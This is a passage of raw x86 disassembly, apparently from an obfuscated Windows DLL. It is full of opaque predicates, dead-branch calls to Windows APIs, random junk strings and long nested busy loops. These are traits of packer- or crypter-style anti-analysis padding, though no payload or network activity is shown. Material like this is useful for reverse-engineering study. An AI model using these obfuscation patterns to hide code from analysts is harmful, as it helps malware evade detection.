mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xffffffec
je 0x10024279
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x9ac], 0xe672
mov eax, dword [ebp - 0x88]
inc eax
je 0x10024141
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x1002413c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
jmp 0x10024274
mov dword [ebp - 0x68c], 0x8628405c
mov dword [ebp - 0x88], 0
jmp 0x10024164
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x1d
jg 0x1002417a
cmp dword [ebp - 0x9ac], 0
je 0x10024178
jmp 0x1002417a
jmp 0x10024157
cmp dword [ebp - 0x68c], 0xda8e
jg 0x10024192
mov dword [ebp - 0x50c], 1
jmp 0x10024199
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x50c], eax
je 0x100241b3
mov dword [ebp - 0x684], 1
jmp 0x100241ba
and dword [ebp - 0x684], 0
cmp dword [ebp - 0x684], 0x6cbc
jle 0x100241d8
mov eax, 0xa81a82e7
test eax, eax
jne 0x100241d8
and dword [ebp - 0x514], 0
jmp 0x100241e2
mov dword [ebp - 0x514], 1
mov eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x514]
jg 0x100241fc
mov dword [ebp - 0x79c], 1
jmp 0x10024203
and dword [ebp - 0x79c], 0
cmp dword [ebp - 0x79c], 0
jg 0x1002421e
cmp dword [ebp - 0x88], 0
jne 0x1002421e
and dword [ebp - 0x51c], 0
jmp 0x10024228
mov dword [ebp - 0x51c], 1
cmp dword [ebp - 0x51c], 0xebda1846
jne 0x10024240
mov dword [ebp - 0x524], 1
jmp 0x10024247
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x68c]
cmp dword [ebp - 0x524], eax
jl 0x10024261
mov dword [ebp - 0x744], 1
jmp 0x10024268
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x744]
mov dword [ebp - 0x118], eax
jmp 0x100240e6
mov eax, 0xe735
test eax, eax
je 0x10024297
cmp dword [ebp - 0xd8], 0
je 0x10024297
mov dword [ebp - 0x53c], 1
jmp 0x1002429e
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
je 0x100242c8
cmp dword [ebp - 0x118], 0
je 0x100242c8
mov dword [ebp - 0x52c], 1
jmp 0x100242cf
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x694], eax
imul eax, dword [ebp - 0xd8], 0x8777
sub eax, dword [ebp - 0x694]
cmp eax, dword [ebp - 0x89c]
jg 0x100242ff
mov dword [ebp - 0x534], 1
jmp 0x10024306
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x7ec]
cmp dword [ebp - 0x53c], eax
jle 0x1002432c
mov dword [ebp - 0x69c], 1
jmp 0x10024333
and dword [ebp - 0x69c], 0
mov eax, dword [ebp - 0x69c]
mov dword [ebp - 0xd8], eax
xor eax, eax
mov ecx, dword [ebp - 0x22c]
mov word [ebp + ecx*2 - 0xb3c], ax
jmp 0x1002408e
mov dword [ebp - 0xad0], 0xb57fd546
mov dword [ebp - 0xacc], 0xb57fd546
mov dword [ebp - 0xac8], 0xb57fd546
mov dword [ebp - 0xac4], 0xb57fd546
lea ecx, [ebp - 0x36a]
call fcn.10004dab
push eax
lea eax, [ebp - 0xac0]
push eax
lea eax, [ebp - 0xad0]
push eax
lea ecx, [ebp - 0xcb8]
call fcn.10010254
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x9f0]
call fcn.1001022e
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0xbcc], 4
mov dword [ebp - 0x15c], 3
jmp 0x100243e5
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
jl 0x1002458a
mov dword [ebp - 0x60], 0xc8a6b950
mov dword [ebp - 0x544], 0x24770669
mov dword [ebp - 0x60], 3
jmp 0x10024413
mov eax, dword [ebp - 0x60]
dec eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x10024585
push 1
lea ecx, [ebp - 0xa90]
call fcn.10004730
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x2dc], 0
jmp 0x10024447
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 1
jge 0x10024469
push dword [ebp - 0x2dc]
lea ecx, [ebp - 0xa90]
call fcn.100047a9
mov dword [eax], 0x12af04
jmp 0x1002443a
push dword [ebp - 0x60]
lea ecx, [ebp - 0x9f0]
call fcn.100047a9
mov esi, eax
push dword [ebp - 0x60]
lea ecx, [ebp - 0x9f0]
call fcn.100047a9
mov eax, dword [eax]
cmp eax, dword [esi]
jge 0x10024499
mov dword [ebp - 0x74c], 1
jmp 0x100244a0
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x544], eax
mov esi, dword [ebp - 0x544]
push dword [ebp - 0x60]
lea ecx, [ebp - 0x9f0]
call fcn.100047a9
cmp dword [eax], esi
jne 0x100244d0
mov dword [ebp - 0x54c], 1
jmp 0x100244d7
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x74c]
cmp eax, dword [ebp - 0x54c]
jge 0x100244f1
mov dword [ebp - 0x6a4], 1
jmp 0x100244f8
and dword [ebp - 0x6a4], 0
cmp dword [ebp - 0x6a4], 0x25ef2c36
jge 0x10024510
mov dword [ebp - 0x554], 1
jmp 0x10024517
and dword [ebp - 0x554], 0
push dword [ebp - 0x60]
lea ecx, [ebp - 0x9f0]
call fcn.100047a9
mov ecx, dword [ebp - 0x554]
cmp ecx, dword [eax]
jge 0x1002453b
mov dword [ebp - 0x7a4], 1
jmp 0x10024542
and dword [ebp - 0x7a4], 0
push 0
lea ecx, [ebp - 0xa90]
call fcn.100047a9
mov ecx, dword [ebp - 0x7a4]
mov dword [eax], ecx
cmp dword [ebp - 0x60], 0
je 0x10024571
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xa90]
call fcn.1000478d
jmp 0x1002440c
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xa90]
call fcn.1000478d
jmp 0x1002440c
jmp 0x100243d8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9f0]
call fcn.1000478d
cmp dword [ebp - 0x678], 0
je 0x10027624
mov dword [ebp - 0x50], 0x60f57a7c
mov dword [ebp - 0xc70], 0xfffffffc
mov dword [ebp - 0x574], 0xffffffff
mov dword [ebp - 0x234], 0
jmp 0x100245da
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 1
jge 0x100245f6
mov eax, dword [ebp - 0x234]
mov dword [ebp + eax*4 - 0x330], 0x5ae649f6
jmp 0x100245cd
mov eax, dword [ebp - 0x50]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x330], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x330]
mov dword [ebp - 0xbd4], eax
cmp dword [ebp - 0x50], 0xfffffffe
jbe 0x1002462b
mov dword [ebp - 0x55c], 1
jmp 0x10024632
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x55c]
jge 0x10024652
mov eax, 0x4ad3
test eax, eax
je 0x10024652
mov dword [ebp - 0xa34], 1
jmp 0x10024659
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xc20], eax
cmp dword [ebp - 0x50], 0x5336
je 0x10024677
mov dword [ebp - 0x6ac], 1
jmp 0x1002467e
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x6ac], eax
jne 0x100246a5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x330], 0
je 0x100246a5
mov dword [ebp - 0x564], 1
jmp 0x100246ac
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x564]
jge 0x10024709
mov dword [ebp - 0x754], 0x1ac3dc99
mov dword [ebp - 0x50], 0
jmp 0x100246d1
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jg 0x10024707
mov byte [ebp - 0xe6], 0
movzx eax, byte [ebp - 0xe6]
test eax, eax
je 0x100246f8
push 0
push 0x1da2
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
mov eax, dword [ebp - 0x754]
dec eax
mov dword [ebp - 0x754], eax
jmp 0x100246ca
jmp 0x1002477b
mov dword [ebp - 0x380], 0x9b996a53
mov dword [ebp - 0x8a4], 0xd07ddbf4
mov eax, dword [ebp - 0x380]
neg eax
cmp eax, dword [ebp - 0x380]
jle 0x10024739
mov dword [ebp - 0x56c], 1
jmp 0x10024740
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0xffffffff
jle 0x10024755
mov dword [ebp - 0x6b4], 1
jmp 0x1002475c
and dword [ebp - 0x6b4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6b4]
mov dword [ebp + eax - 0x330], ecx
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x8a4], eax
mov dword [ebp - 0x7e0], 0x550b
mov dword [ebp - 0x9b4], str.whupsz_zuxvirkgg_qumgu_drheumq_dqfojaxp_amiispyjd_bxdl_ruru_lwtryl_kyq_ebuiw
cmp dword [ebp - 0x7e0], 0x5591
jle 0x1002485b
and dword [ebp - 0x244], 0
jmp 0x100247b5
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x1651
jge 0x1002484a
and dword [ebp - 0x23c], 0
jmp 0x100247db
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x70ae
jge 0x10024845
and dword [ebp - 0x2e4], 0
jmp 0x100247fd
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x43bd
jge 0x10024843
mov eax, dword [ebp - 0x23c]
cdq
idiv dword [ebp - 0x2e4]
mov eax, dword [ebp - 0x244]
sub eax, edx
cdq
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 0x8e4], edx
push dword [ebp - 0x8e4]
push dword [ebp - 0x8e8]
mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x100247f0
jmp 0x100247ce
jmp 0x100247a8
push 0
push 0
push 0x1948
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov eax, dword [ebp - 0x574]
inc eax
mov dword [ebp - 0x574], eax
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x7e0], 0x51b9
jge 0x1002488b
mov edx, dword [ebp - 0x9b4]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x100248a7
or dword [ebp - 4], 0xffffffff
jmp 0x100248b1
mov dword [ebp - 0x100], 0xffffffff
mov dword [ebp - 0x100], 0
jmp 0x100248d4
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xfffffff6
jle 0x10024a12
mov dword [ebp - 0x310], 0x136951ad
mov byte [ebp - 0xe8], 0
movzx eax, byte [ebp - 0xe8]
test eax, eax
je 0x1002491b
push 0x16b2
push 0x2651
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x310], 0xfffffff2
jmp 0x10024934
mov eax, dword [ebp - 0x310]
dec eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0xffffffe4
jle 0x10024a0d
mov dword [ebp - 0x24c], 0
jmp 0x1002495a
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 1
jge 0x10024976
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x144], 5
jmp 0x1002494d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x144], 0x19
jmp 0x100249a4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x144]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x144], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x144], 0xfffffffc
jle 0x100249e5
mov byte [ebp - 0xc9], 0
movzx eax, byte [ebp - 0xc9]
test eax, eax
je 0x100249d1
push 0x19f8
call dword [sym.imp.USER32.dll_MessageBeep]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x144], 0
je 0x100249e3
jmp 0x10024989
jmp 0x10024989
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x10024a08
push 0x22e7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x10024927
jmp 0x100248c7
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x100], eax
mov byte [ebp - 0x1ac], 0xa
mov byte [ebp - 0x1ab], 0x69
mov byte [ebp - 0x1aa], 0xb
mov byte [ebp - 0x1a9], 0x17
mov byte [ebp - 0x1a8], 9
mov byte [ebp - 0x1a7], 1
mov byte [ebp - 0x1a6], 8
mov byte [ebp - 0x1a5], 0
mov byte [ebp - 0x1a4], 0xc
mov byte [ebp - 0x1a3], 0x17
mov byte [ebp - 0x1a2], 1
mov byte [ebp - 0x1a1], 0x16
mov byte [ebp - 0x1a0], 0
mov byte [ebp - 0x19f], 0x22
mov byte [ebp - 0x19e], 4
mov byte [ebp - 0x19d], 0x35
mov byte [ebp - 0x19c], 2
mov byte [ebp - 0x19b], 6
mov byte [ebp - 0x19a], 7
mov byte [ebp - 0x199], 0x35
mov byte [ebp - 0x198], 5
mov byte [ebp - 0x197], 0x2e
mov byte [ebp - 0x196], 1
mov byte [ebp - 0x195], 0xf
mov byte [ebp - 0x194], 6
mov byte [ebp - 0x193], 0xc
mov byte [ebp - 0x192], 3
mov byte [ebp - 0x191], 0x33
mov byte [ebp - 0x190], 0xd
mov byte [ebp - 0x18f], 0x23
mov dword [ebp - 0xf0], 0xffffffff
mov dword [ebp - 0xf0], 0
jmp 0x10024b13
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xfffffff6
jle 0x10024d3c
mov dword [ebp - 0x2ec], 0x136951ad
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x10024b5a
push 0x16b2
push 0x2651
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x2ec], 0xfffffff2
jmp 0x10024b73
mov eax, dword [ebp - 0x2ec]
dec eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0xffffffe4
jle 0x10024d37
mov dword [ebp - 0x254], 0
jmp 0x10024b99
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 1
jge 0x10024bb5
mov eax, dword [ebp - 0x254]
mov dword [ebp + eax*4 - 0x16c], 5
jmp 0x10024b8c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x16c], 0x19
jmp 0x10024be3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x16c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x16c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x16c], 0xfffffffc
jle 0x10024d0f
mov dword [ebp - 0x57c], 0x3b20
mov dword [ebp - 0x8b0], str.qgaaijmlk_namqbml_yathru_ehyrciqf_zpcwli
cmp dword [ebp - 0x57c], 0x3e9f
jle 0x10024c8f
and dword [ebp - 0x314], 0
jmp 0x10024c2d
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x79fb
jge 0x10024c8f
and dword [ebp - 0x25c], 0
jmp 0x10024c4f
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x60c3
jge 0x10024c8d
mov eax, dword [ebp - 0x314]
imul eax, dword [ebp - 0x25c]
cdq
mov dword [ebp - 0x8f4], eax
mov dword [ebp - 0x8f0], edx
push dword [ebp - 0x8f0]
push dword [ebp - 0x8f4]
mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x10024c42
jmp 0x10024c20
mov byte [ebp - 0xb7], 0
movzx eax, byte [ebp - 0xb7]
test eax, eax
je 0x10024cac
push 0x19f8
call dword [sym.imp.USER32.dll_MessageBeep]
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x57c], 0x3a90
jge 0x10024ccf
mov edx, dword [ebp - 0x8b0]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x10024ceb
or dword [ebp - 4], 0xffffffff
jmp 0x10024cf5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x16c], 0
je 0x10024d0a
jmp 0x10024bc8
jmp 0x10024bc8
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x10024d32
push 0x22e7
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x10024b66
jmp 0x10024b06
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xf0], eax
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1ac]
and eax, 0x1b
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1ac]
or ecx, 0x1b
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1ac]
mov byte [ebp + eax - 0x838], cl
mov dword [ebp - 0x24], 2
and dword [ebp - 0x138], 0
jmp 0x10024d99
cmp dword [ebp - 0x24], 0x1e
jae 0x1002601a
mov dword [ebp - 0x264], 0xfffffffd
mov dword [ebp - 0x6bc], 1
mov dword [ebp - 0x2f4], 0
jmp 0x10024dd0
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 1
jge 0x10024dec
mov eax, dword [ebp - 0x2f4]
mov dword [ebp + eax*4 - 0x8bc], 4
jmp 0x10024dc3
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x10024e17
push 0xd3f
push 0x11e9
push 1
push 0
push 0x1bce
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
mov dword [ebp - 0x264], 0
jmp 0x10024e30
mov eax, dword [ebp - 0x264]
dec eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0
jl 0x10025063
mov dword [ebp - 0x274], 0x3d9532bb
mov dword [ebp - 0x58c], 0x874
mov dword [ebp - 0x8c8], str.mgkbfbam_dkw_exdcdxuxy_rooduys_knreqr_zbr_iilyna_ourqg_qpf
cmp dword [ebp - 0x58c], 0xb5e
jle 0x10024f59
push 0
push 0x565
push 0x2359
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
and dword [ebp - 0x2fc], 0
jmp 0x10024e9a
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x15b6
jge 0x10024f59
and dword [ebp - 0x31c], 0
jmp 0x10024ec0
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0xccd
jge 0x10024f54
and dword [ebp - 0x26c], 0
jmp 0x10024ee6
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x1735
jge 0x10024f4f
mov eax, dword [ebp - 0x31c]
add eax, dword [ebp - 0x26c]
or eax, dword [ebp - 0x2fc]
cdq
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x8fc], edx
push dword [ebp - 0x8fc]
push dword [ebp - 0x900]
lea ecx, [ebp - 0xd50]
call fcn.10001a75
pop ecx
pop ecx
mov dword [ebp - 0xa08], eax
mov ecx, dword [ebp - 0xa08]
call fcn.1000446f
push eax
call fcn.10048743
pop ecx
lea ecx, [ebp - 0xd50]
call fcn.10004465
jmp 0x10024ed9
jmp 0x10024eb3
jmp 0x10024e8d
mov dword [ebp - 0x274], 0
jmp 0x10024f72
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0
jg 0x10025019
mov dword [ebp - 0x11c], 0xc23afc37
mov dword [ebp - 0x9bc], 0xe7b79f6a
mov dword [ebp - 0x11c], 0
jmp 0x10024fac
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jg 0x10025014
mov dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp + eax*4 - 0x8bc]
cmp eax, dword [ebp - 0x6bc]
jg 0x10024fe0
mov dword [ebp - 0x584], 1
jmp 0x10024fe7
and dword [ebp - 0x584], 0
cmp dword [ebp - 0x584], 0xea52
jge 0x10024fff
mov dword [ebp - 0x75c], 1
jmp 0x10025006
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0x9bc], eax
jmp 0x10024f9f
jmp 0x10024f65
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x58c], 0x5ab
jge 0x10025038
push dword [ebp - 0x8c8]
call fcn.10048743
pop ecx
jmp 0x10025054
or dword [ebp - 4], 0xffffffff
jmp 0x1002505e
jmp 0x10024e23
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1ac]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x10025b20
mov dword [ebp - 0x6c4], 0x593f
mov dword [ebp - 0xa10], str.cdpqyo_mvt_dsusv
cmp dword [ebp - 0x6c4], 0x597e
jle 0x10025123
and dword [ebp - 0x324], 0
jmp 0x100250b8
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x6481
jge 0x10025119
and dword [ebp - 0x27c], 0
jmp 0x100250da
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x6530
jge 0x10025117
mov eax, dword [ebp - 0x324]
and eax, dword [ebp - 0x27c]
cdq
mov dword [ebp - 0x90c], eax
mov dword [ebp - 0x908], edx
push dword [ebp - 0x908]
push dword [ebp - 0x90c]
mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x100250cd
jmp 0x100250ab
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x6c4], 0x5671
jge 0x10025146
mov edx, dword [ebp - 0xa10]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x10025162
or dword [ebp - 4], 0xffffffff
jmp 0x1002516c
mov dword [ebp - 0xa6c], 0x3b26bdde
mov dword [ebp - 0xa68], 0x3b26bdde
mov dword [ebp - 0xa64], 0x3b26bdde
mov dword [ebp - 0xa60], 0x3b26bdde
push 4
lea ecx, [ebp - 0xb08]
call fcn.10004730
mov dword [ebp - 4], 0x20
mov dword [ebp - 0x284], 1
mov dword [ebp - 0x304], 0
jmp 0x100251cb
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 4
jge 0x100251ea
push dword [ebp - 0x304]
lea ecx, [ebp - 0xb08]
call fcn.100047a9
or dword [eax], 0xffffffff
jmp 0x100251be
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xa6c], 0xb
jmp 0x10025218
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa6c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xa6c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xa6c], 0x1d
jne 0x1002523d
push 2
lea ecx, [ebp - 0xb08]
call fcn.100047a9
mov dword [eax], 3
jmp 0x100251fd
mov dword [ebp - 0x284], 0
jmp 0x10025256
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 3
jg 0x1002527b
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x10025279
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x10025249
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb08]
call fcn.1000478d
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ac]
inc eax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x594], 0x29f6
mov dword [ebp - 0x8d4], str.gimzbnkn_qwzxrqf_hvtqbqc_qmlbs_mwgs_vjfsqfgq_yml_sdugbng_cbazr_iygmi_uebuiblh_kvzrvkiu_clapwj_hwlwxjugu
cmp dword [ebp - 0x594], 0x2c3a
jle 0x10025333
and dword [ebp - 0x32c], 0
jmp 0x100252d2
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x69f4
jge 0x10025333
and dword [ebp - 0x28c], 0
jmp 0x100252f4
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x72b4
jge 0x10025331
mov eax, dword [ebp - 0x32c]
or eax, dword [ebp - 0x28c]
cdq
mov dword [ebp - 0x918], eax
mov dword [ebp - 0x914], edx
push dword [ebp - 0x914]
push dword [ebp - 0x918]
mov ecx, 0x1007bf18
call fcn.1000448f
jmp 0x100252e7
jmp 0x100252c5
mov dword [ebp - 0x30c], 1
mov dword [ebp - 4], 0x21
cmp dword [ebp - 0x594], 0x2840
jge 0x10025360
mov edx, dword [ebp - 0x8d4]
mov ecx, 0x1007bf18
call fcn.10006900
jmp 0x1002537c
or dword [ebp - 4], 0xffffffff
jmp 0x10025386
mov dword [ebp - 0x30c], 0xfffffff4
jmp 0x1002539f
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x11
jl 0x100255f4
mov dword [ebp - 0x120], 0xf9b2cfb6
mov dword [ebp - 0x9c4], 1
mov byte [ebp - 0xbb], 0
movzx eax, byte [ebp - 0xbb]
test eax, eax
je 0x100253e1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov dword [ebp - 0x120], 0xb
jmp 0x100253fa
cmp dword [ebp - 0x120], 0xffffffe2
jl 0x100255ef
mov dword [ebp - 0x90], 0x23ed15de
mov dword [ebp - 0x90], 3
jmp 0x1002542a
cmp dword [ebp - 0x90], 0xffffffef
jge 0x10025575
jmp 0x10025392
mov byte [ebp - 0xd3], 0
movzx eax, byte [ebp - 0xd3]
test eax, eax
je 0x10025614
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x1ac]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
push 1
lea ecx, [ebp - 0x800]
call fcn.10004730
mov dword [ebp - 4], 0x25
mov dword [ebp - 0xb40], 2
mov dword [ebp - 0x70], 0
jmp 0x10025657
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1002566d
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x6d4], 0x13b9
jmp 0x10025650
mov dword [ebp - 0x3ac], 0x4565
mov dword [ebp - 0xa18], str.dscnages_xbff_vvxcns_ykvvbtewi_jszluthv_jbet_pgbtgy_pohnuklep_djwwaz_hosb_slk
cmp dword [ebp - 0x3ac], 0x48fa
jle 0x10025766
and dword [ebp - 0x334], 0
jmp 0x100256a7
mov dword [ebp - 0x70], 0
jmp 0x10025776
mov dword [ebp - 0x130], 0x98a8f939
mov dword [ebp - 0x370], 0xb0ceafd
mov dword [ebp - 0x200], 0x3e9323d1
mov dword [ebp - 0x1f8], 0xffff
mov dword [ebp - 0x1f0], 0
jmp 0x10025b61
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 3
jge 0x10025b7d
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0xc80], 0
jmp 0x10025b54
mov dword [ebp - 0x130], 0
jmp 0x10025b96
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffeb
jge 0x10025bc2
mov dword [ebp - 0xbe4], 0x8d13
mov dword [ebp - 0xc28], 0xfffffffd
mov eax, dword [ebp - 0x1f8]
